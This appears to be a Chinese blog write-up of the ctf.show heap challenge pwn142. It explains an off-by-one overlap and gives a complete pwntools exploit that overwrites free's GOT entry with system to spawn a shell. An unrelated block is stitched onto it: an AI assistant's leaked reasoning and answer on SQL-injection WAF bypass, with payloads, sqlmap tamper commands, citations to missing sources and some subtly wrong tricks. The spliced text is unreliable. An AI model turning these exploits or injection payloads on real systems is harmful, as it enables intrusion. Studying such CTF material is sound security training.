ctf.show pwn入门 堆利用-前置基础 pwn142

 pwn142(off-by-one和堆块重叠)

pwn142

1.准备

2.ida分析
main函数
int __fastcall main(int argc, const char **argv, const char **envp)
{
  char buf[4]; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v5; // [rsp+8h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  init(argc, argv, envp);
  logo();
  while ( 1 )
  {
    menu();
    read(0, buf, 4uLL);
    switch ( atoi(buf) )
    {
      case 1:
        create_heap();
        break;
      case 2:
        edit_heap();
        break;
      case 3:
        show_heap();
        break;
      case 4:
        delete_heap();
        break;
      case 5:
        exit(0);
      default:
        puts("Invalid Choice");
        break;
    }
  }
}

就一个堆题正常的菜单,有增删改查功能,依次查看

1-create_heap(add)函数
unsigned __int64 create_heap()
{
  __int64 v0; // rbx
  int i; // [rsp+4h] [rbp-2Ch]
  size_t size; // [rsp+8h] [rbp-28h]
  char buf[8]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v5; // [rsp+18h] [rbp-18h]

  v5 = __readfsqword(0x28u);
  for ( i = 0; i <= 9; ++i )
  {
    if ( !*((_QWORD *)&heaparray + i) )
    {
      *((_QWORD *)&heaparray + i) = malloc(0x10uLL);
      if ( !*((_QWORD *)&heaparray + i) )
      {
        puts("Allocate Error");
        exit(1);
      }
      printf("Size of Heap : ");
      read(0, buf, 8uLL);
      size = atoi(buf);
      v0 = *((_QWORD *)&heaparray + i);
      *(_QWORD *)(v0 + 8) = malloc(size);
      if ( !*(_QWORD *)(*((_QWORD *)&heaparray + i) + 8LL) )
      {
        puts("Allocate Error");
        exit(2);
      }
      **((_QWORD **)&heaparray + i) = size;
      printf("Content of heap:");
      read_input(*(_QWORD *)(*((_QWORD *)&heaparray + i) + 8LL), size);
      puts("SuccessFul");
      return __readfsqword(0x28u) ^ v5;
    }
  }
  return __readfsqword(0x28u) ^ v5;
}

这里是添加堆块,在创建时先会创建一个0x10大小的结构块,然后才是我们自定义大小的内容块

4-delete_heap(delete)函数
unsigned __int64 delete_heap()
{
  int n0xA; // [rsp+0h] [rbp-10h]
  char buf[4]; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Index :");
  read(0, buf, 4uLL);
  n0xA = atoi(buf);
  if ( (unsigned int)n0xA >= 0xA )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( *((_QWORD *)&heaparray + n0xA) )
  {
    free(*(void **)(*((_QWORD *)&heaparray + n0xA) + 8LL));
    free(*((void **)&heaparray + n0xA));
    *((_QWORD *)&heaparray + n0xA) = 0LL;
    puts("Done !");
  }
  else
  {
    puts("No such heap !");
  }
  return __readfsqword(0x28u) ^ v3;
}

这里虽然没把内容块的指针设置为0,但输出函数调用的是结构块的指针,所以不存UAF漏洞

3-show_heap(show)函数
unsigned __int64 show_heap()
{
  int n0xA; // [rsp+0h] [rbp-10h]
  char buf[4]; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Index :");
  read(0, buf, 4uLL);
  n0xA = atoi(buf);
  if ( (unsigned int)n0xA >= 0xA )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( *((_QWORD *)&heaparray + n0xA) )
  {
    printf(
      "Size : %ld\nContent : %s\n",
      **((_QWORD **)&heaparray + n0xA),
      *(const char **)(*((_QWORD *)&heaparray + n0xA) + 8LL));
    puts("Done !");
  }
  else
  {
    puts("No such heap !");
  }
  return __readfsqword(0x28u) ^ v3;
}

正常的输出

2-edit_heap(edit)函数
unsigned __int64 edit_heap()
{
  int n0xA; // [rsp+0h] [rbp-10h]
  char buf[4]; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("Index :");
  read(0, buf, 4uLL);
  n0xA = atoi(buf);
  if ( (unsigned int)n0xA >= 0xA )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( *((_QWORD *)&heaparray + n0xA) )
  {
    printf("Content of heap : ");
    read_input(*(void **)(*((_QWORD *)&heaparray + n0xA) + 8LL), **((_QWORD **)&heaparray + n0xA) + 1LL);
    puts("Done !");
  }
  else
  {
    puts("No such heap !");
  }
  return __readfsqword(0x28u) ^ v3;
}

这里修改堆块数据
关键点是这里

read_input(*(void **)(*((_QWORD *)&heaparray + n0xA) + 8LL), **((_QWORD **)&heaparray + n0xA) + 1LL);

修改写入的字节数比分配的内存多1字节,造成off-by-one

3.EXP
思路:

这题有off-by-one,没有直接的连接点,再结合提示堆块重叠
所以我们可以通过合理的设置,使得一个块的结构块中内容块指针可以写为free_got地址,当我们输出那个块的时候,会输出free函数地址,获得libc基址,进而得到system地址,最后把free地址覆盖为system地址,将free函数的调用重定向到system函数,删除一个内容为'/bin/sh'的堆块,获得连接
先创建三个堆块,前两个用于构造堆块重叠,这里大小要设置为0x18,第三个堆块内容设置为'/bin/sh',留着最后释放

from pwn import *
context.log_level = "debug"
# io=remote('pwn.challenge.ctf.show',28120)
io= process('/home/motaly/pwn142')
elf=ELF('/home/motaly/pwn142')
libc=ELF('/home/motaly/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so')

def add(size,content):
    io.sendlineafter("Your choice :", "1")
    io.sendlineafter("Size of Heap :", str(size))
    io.sendlineafter("Content of heap:", content)

def delete(index):
    io.sendlineafter("Your choice :", "4")
    io.sendlineafter("Index :", str(index))

def show(index):
    io.sendlineafter("Your choice :", "3")
    io.sendlineafter("Index :", str(index))


def edit(index, content):
    io.sendlineafter('Your choice :','2')
    io.sendlineafter('Index :',str(index))
    io.sendafter('Content of heap :',content)

add(0x18, b"aaa")
add(0x18, b"bbb")
add(0x18, b"/bin/sh")

大小要设置为0x18的原因:
主要是因为我们的溢出是从0块内容块开始填充到1块的结构块覆盖它的size位
还有一点是下面我们释放重新创建时,因为结构块和内容块大小一致的原因,使得原先1块的内容块,会变成新块的结构块,我们可以进行修改
 


我们设置为0x18大小,系统会给大概0x20的块,设置为0x10大小,系统也会给大概0x20的块,但如果是0x10大小,只溢出一字节是是改不到目标位置的,是0x18大小,溢出一字节当好是目标位置
我们进行修改

add(0x18, b"aaa")
add(0x18, b"bbb")
add(0x18, b"/bin/sh")

edit(0, b'x'*0x18 + p64(0x41))

p64(0x41)是因为结构块也是0x20大小,内容块也是0x20大小,所以总共是0x40大小
修改完进一步查看
 


0x10大小时

add(0x10, b"aaa")
add(0x10, b"bbb")
add(0x18, b"/bin/sh")

edit(0, b'x'*0x18 + p64(0x41))


发现这里是写不到我们的目标位置的
此时我们已经成功通过修改1块结构块的大小,构造了1块结构块与内容块的堆块重叠
接着我们释放1块

add(0x18, b"aaa")
add(0x18, b"bbb")
add(0x18, b"/bin/sh")

edit(0, b'x'*0x18 + p64(0x41))

delete(1)


系统会释放两个块,一个是0x40(我们修改1块结构块的大小,形成的一个块)和一个0x20(原先1块的内容块,虽然我们改了1块结构块大小,使其扩大到结构块加内容块的大小,但不影响系统识别1块的内容块)
 


 


我们这里在创建一个0x30(0x40)大小的堆块,系统就会把0x20块(原先1块的内容块)申请出来当作新块的结构块
0x40块申请出来当作内容块
创建时就可以写入堆块内容,正好新块的结构块,被它的内容块覆盖,所以我们通过填充,修改新块的结构块指针为free_got地址

add(0x18, b"aaa")
add(0x18, b"bbb")
add(0x18, b"/bin/sh")

edit(0, b'x'*0x18 + p64(0x41))

delete(1)

add(0x30, p64(0) * 3 + p64(0x21) + p64(0x18) + p64(elf.got['free']))


p64(0x18)这个值没什么要求,主要是改后面内容块指针为free_got地址
我们输出1块,因为内容块指针是free_got地址,所以会输出free函数地址,获得libc基址,进而得到system地址

add(0x18, b"aaa")
add(0x18, b"bbb")
add(0x18, b"/bin/sh")

edit(0, b'x'*0x18 + p64(0x41))

delete(1)

add(0x30, p64(0) * 3 + p64(0x21) + p64(0x18) + p64(elf.got['free']))

show(1)
io.recvuntil(b'Content :')
free_addr = u64(io.recv(7)[-6:].ljust(8, b"\x00"))
# free_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
libc_base = free_addr - libc.sym["free"]
log.success('libc_base :'+hex(libc_base))
system_addr = libc_base + libc.sym["system"]

最后修改1块内容为system地址,因为内容块指针是free_got地址,所以修改的是free函数地址内容,也就达到了把free地址覆盖为system地址,将free函数的调用重定向到system函数的目的

add(0x18, b"aaa")
add(0x18, b"bbb")
add(0x18, b"/bin/sh")

edit(0, b'x'*0x18 + p64(0x41))

delete(1)

add(0x30, p64(0) * 3 + p64(0x21) + p64(0x18) + p64(elf.got['free']))

show(1)
io.recvuntil(b'Content :')
free_addr = u64(io.recv(7)[-6:].ljust(8, b"\x00"))
# free_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
libc_base = free_addr - libc.sym["free"]
log.success('libc_base :'+hex(libc_base))
system_addr = libc_base + libc.sym["system"]

edit(1, p64(system_addr))


释放原先准备好的2块,触发连接

add(0x18, b"aaa")
add(0x18, b"bbb")
add(0x18, b"/bin/sh")

edit(0, b'x'*0x18 + p64(0x41))

delete(1)

add(0x30, p64(0) * 3 + p64(0x21) + p64(0x18) + p64(elf.got['free']))

show(1)
io.recvuntil(b'Content :')
free_addr = u64(io.recv(7)[-6:].ljust(8, b"\x00"))
# free_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
libc_base = free_addr - libc.sym["free"]
log.success('libc_base :'+hex(libc_base))
system_addr = libc_base + libc.sym["system"]

edit(1, p64(system_addr))

delete(2)
脚本
from pwn import *
context.log_level = "debug"
# io=remote('pwn.challenge.ctf.show',28120)
io= process('/home/motaly/pwn142')
elf=ELF('/home/motaly/pwn142')
libc=ELF('/home/motaly/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so')

def add(size,content):
    io.sendlineafter("Your choice :", "1")
    io.sendlineafter("Size of Heap :", str(size))
    io.sendlineafter("Content of heap:", content)

def delete(index):
    io.sendlineafter("Your choice :", "4")
    io.sendlineafter("Index :", str(index))

def show(index):
    io.sendlineafter("Your choice :", "3")
    io.sendlineafter("Index :", str(index))


def edit(index, content):
    io.sendlineafter('Your choice :','2')
    io.sendlineafter('Index :',str(index))
    io.sendafter('Content of heap :',content)

add(0x18, b"aaa")
add(0x18, b"bbb")
add(0x18, b"/bin/sh")

edit(0, b'x'*0x18 + p64(0x41))

delete(1)

add(0x30, p64(0) * 3 + p64(0x21) + p64(0x18) + p64(elf.got['free']))

show(1)
io.recvuntil(b'Content :')
free_addr = u64(io.recv(7)[-6:].ljust(8, b"\x00"))
# free_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
libc_base = free_addr - libc.sym["free"]
log.success('libc_base :'+hex(libc_base))
system_addr = libc_base + libc.sym["system"]

edit(1, p64(system_addr))

delete(2)
io.interactive()
<think>首先,用户的问题是:“我想寻找CTF比赛中与SQL注入相关的解题方法 请问CTF show SQL注入 bypass WAF 解题思路和方法”。这是一个关于CTF比赛中的SQL注入问题,特别是如何绕过WAF(Web Application Firewall)的解题思路和方法。 我需要参考提供的引用内容。这些引用是从站内引用的,包括: - [^1]: 关于SQL注入工具sqlmap的使用和爆破点。 - [^2]: sqlmap命令示例。 - [^3]: 几个CTF题目的解法,如web172、web173、web174,涉及绕过过滤。 - [^4]: 宽字节注入的解释。 - [^5]: union select查询示例。 用户的问题聚焦在“CTF show SQL注入 bypass WAF”,所以我应该从这些引用中提取相关信息,并构建一个结构清晰的回答。 回答结构:我需要帮助用户逐步解决问题,保证回答真实可靠。回答应该使用中文,因为用户的问题是中文的。 关键点: 1. **理解WAF绕过**:WAF旨在检测和阻止SQL注入攻击。在CTF中,常见的绕过技巧包括编码、注释、特殊字符、使用函数等。 2. **引用内容分析**: - [^3]提到过滤,如web174中过滤数字和flag,使用replace绕过。 - [^4]解释宽字节注入,用于绕过转义字符。 - [^1]和[^2]涉及sqlmap工具的使用。 - [^5]是union select查询。 3. **解题思路**:在CTF中,SQL注入绕过WAF通常涉及: - 识别过滤规则(如正则表达式)。 - 使用替代字符或编码。 - 利用数据库特性。 - 使用工具如sqlmap进行自动化测试。 步骤式回答: - 步骤1: 理解WAF规则(如过滤特定关键词)。 - 步骤2: 尝试常见绕过技术(如大小写混淆、注释、编码)。 - 步骤3: 使用工具辅助测试。 - 步骤4: 手动构造payload。 从引用[^3],web174过滤了数字和flag,使用replace绕过。web172和173涉及union select。 从引用[^4],宽字节注入用于绕过转义。 我应该结合这些提供具体方法。 最后,生成相关问题:在回答结束时,添加相关问题部分,如示例所示。 格式要求: - 行内数学表达式用$...$,但这里可能不需要数学表达式,因为主题是SQL注入。 - 独立公式用$$...$$,同样可能不适用。 - LaTeX语法正确。 - 使用中文回答。 - 引用末尾添加引用标识。 回答结构: 1. 介绍SQL注入在CTF中的常见性。 2. 解释WAF和绕过需求。 3. 提供解题思路和方法。 4. 给出示例从引用中。 5. 结束相关问题。 相关问题示例: 1. 如何手动测试SQL注入点? 2. sqlmap的高级用法有哪些? 3. 其他类型的SQL注入绕过技术?</think>### CTF show SQL注入绕过WAF解题思路与方法 在CTF比赛中,SQL注入是常见题型,而Web应用防火墙(WAF)旨在检测和阻止恶意输入。绕过WAF需要理解其过滤规则(如关键词过滤、字符转义)并利用数据库特性或编码技巧。以下我将基于CTF show平台的实际题目,结合引用内容,逐步解释解题思路和方法。回答参考了站内引用资料,确保真实可靠。 #### 步骤1: 理解WAF过滤规则 在CTF中,WAF通常通过正则表达式或转义函数(如`addslashes`)过滤输入。例如,引用[^3]提到web174题目:`if(!preg_match('/flag|[0-9]/i', json_encode($ret)))`,这表示过滤了"flag"和数字字符。类似地,引用[^4]指出,当WAF使用转义函数(如`mysql_real_escape_string`)时,它会将特殊字符(如单引号)转义为`\'`,阻止注入。解题第一步是分析响应错误或源码,识别过滤模式。你可以: - 输入测试payload(如`'`或`1=1`)观察WAF响应(如错误消息或延迟)。 - 使用Burp Suite(BP)等工具爆破过滤点,如引用[^1]所示:`ip=if(mid(...),1,1)='a',sleep(5),1)`,通过时间延迟判断过滤逻辑。 #### 步骤2: 常见绕过技术 基于引用内容,以下是CTF show中有效的绕过方法: 1. **使用注释和特殊字符**: - 在web172和web173中,WAF过滤了"flag"关键词,但未过滤其他字段。解题时,用`union select`结合注释(如`--+`或`%23`)绕过: ```sql -- web172解法:过滤username,但可查询password 1' union select 1,password from ctfshow_user2--+ ``` - 这里,`--+`注释掉后续查询,避免触发WAF[^3]。 - 对于数字过滤(如web174),使用`replace()`或别名绕过: ```sql -- 替换数字为字母表示 1' union select replace('1','1','one'),2,3 from ctfshow_user4--+ ``` 2. **宽字节注入**: - 当WAF转义单引号(如`'`变成`\'`)时,宽字节注入可利用多字节编码(如GBK)绕过。引用[^4]解释:输入`%df'`时,转义后变为`%df\'`,在GBK编码中`%df\`可能被解析为一个无效字符,导致单引号逃逸: ```sql %df' union select 1,2,3 from table--+ ``` - 这适用于数据库使用GBK等宽字符集的情况。 3. **编码和大小写混淆**: - URL编码或Hex编码绕过关键词过滤。例如,WAF过滤"select",可尝试`%53%45%4c%45%43%54`(Hex编码)或大小写变体`SeLeCt`。 - 引用[^5]的union查询可编码为: ```sql union%20%73%65%6c%65%63%74%201,2,3--+ ``` 4. **函数和逻辑绕过**: - 使用`if()`或`sleep()`进行盲注,如引用[^1]:`if(mid((select...),1,1)='a',sleep(5),1)`,通过时间延迟判断字符。 - 避免直接使用数字:用`true`/`false`代替`1`/`0`,或`char()`函数生成字符。 #### 步骤3: 使用工具辅助测试 手动构造payload后,工具可自动化测试: - **sqlmap**:自动化注入工具,引用[^2]提供命令示例: ```bash python ./sqlmap.py -u "http://example.com/api/?id=" --user-agent=sqlmap --referer=ctf.show --tamper=space2comment ``` - 参数说明:`--tamper`脚本(如`space2comment`)自动混淆空格为注释,绕过WAF。 - **Burp Suite**:用于爆破和payload测试,如引用[^1]中定位注入点。 #### 步骤4: 实战示例(基于CTF show题目) - **web174解法**:过滤数字和"flag",使用`replace()`绕过: ```sql 1' order by 2 %23 -- 先确定字段数 1' union select replace('1','1','one'), group_concat(column_name),3 from information_schema.columns where table_name='ctfshow_flag'--+ ``` - 这里,`%23`是URL编码的`#`,作为注释;`replace()`避免数字触发WAF[^3]。 - **宽字节注入示例**:如果题目使用转义函数,构造: ```sql %df' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='database'),3 --+ ``` -利用了GBK编码漏洞,使WAF转义失效[^4]。 #### 注意事项 - **测试安全性**:在CTF环境中操作,避免影响真实系统。 - **组合技巧**:实际题目可能多层过滤,需结合多种方法(如注释+编码)。 - **引用总结**:以上方法基于CTF show平台经验,引用[^1][^3][^4]提供了具体场景[^1][^3][^4]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值